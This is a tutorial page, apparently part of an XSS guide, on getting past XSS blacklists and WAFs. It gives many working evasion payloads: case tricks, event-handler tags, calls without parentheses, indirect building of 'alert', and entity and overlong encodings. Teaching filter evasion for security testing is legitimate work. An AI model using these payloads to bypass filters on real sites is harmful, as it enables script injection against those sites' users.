Cross-Site Scripting (XSS): The Complete Practical Guide

Filter and WAF Evasion for XSS

Bypassing XSS keyword and tag blacklists: case tricks, tag and attribute obfuscation, dropping parentheses and spaces, avoiding the word alert, and encoding.

Published

A filter or a WAF tries to spot XSS by matching patterns: the string <script>, the word alert, an onerror attribute. The weakness is that HTML and JavaScript offer many equivalent ways to say the same thing, so a rule that blocks one spelling rarely blocks them all. Evasion is the craft of writing a payload the browser understands but the filter does not.

How keyword and tag blacklists fail

Blacklists match literal tokens, and the browser's parser is far more forgiving than the filter assumes. It ignores case, tolerates odd separators, decodes entities, and executes script from far more than the <script> tag. Every one of those is a gap. First, probe to learn what is blocked: send <script>, then <svg>, then onerror, then a lone <, and see which trips the filter. Then rewrite only the blocked tokens.

Case and tag-name tricks

Case never matters to the HTML parser, and when <script> is blocked there are many other tags that run script:

<ScRiPt>alert(1)</sCrIpT>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

If a filter strips <script> but not <svg> or <img>, you are through. Event handlers on non-script tags are the single most productive evasion.

Dropping parentheses and spaces

Filters often match on alert( or on spaces inside a tag. Both are optional:

<svg/onload=alert(1)>            slash instead of a space
<img/src/onerror=alert(1)>       slashes as separators
<img src=x onerror=alert`1`>     backticks call the function, no parens
<img src=x onerror=(alert)(1)>   parens elsewhere, not after the name

The browser reads these as valid markup and valid calls. The filter, matching alert( or on, does not.

Avoiding the word "alert"

When the literal string alert is blocked, build it indirectly or use another sink:

onerror=confirm(1)
onerror=print()
onerror=top['al'+'ert'](1)
onerror=eval('ale'+'rt(1)')
onerror=window['ale'.concat('rt')](1)

Any of these proves execution without the blocked token ever appearing in your input.

HTML-entity, unicode, and overlong encoding

Re-encode the characters the filter inspects so they arrive decoded only at the browser:

onerror=&#97;lert(1)          HTML entity for the letter a
&lt;img ...                   entity-encoded bracket on a double-decoding stack
%C0%BC                        overlong UTF-8 for < on a mis-decoding server

Entity and unicode encoding is most effective when something downstream decodes your input a second time, which ties back to the double-decoding idea in XSS contexts.

Event-handler soup

When <script> is stripped, lean on the breadth of auto-firing handlers. onload, onerror, onfocus with autofocus, onanimationstart, ontoggle, and onpageshow all run without a click on the right element. The more exotic the handler, the less likely a blacklist covers it.

Broken tags the sanitizer "fixes"

Some sanitizers rewrite malformed markup into clean markup, and that normalization can turn an inert string into a live payload. Feeding a parser-confusing fragment and letting the sanitizer reassemble it into something executable is its own technique, covered in mutation XSS.

Evasion is a toolbox, not a magic string. Identify the blocked token, pick the cheapest equivalent, reassemble, and confirm it fires. The cheat sheet has the quick list. Practice slipping past a filter on a free live target.

← Back to Cross-Site Scripting (XSS): The Complete Practical Guide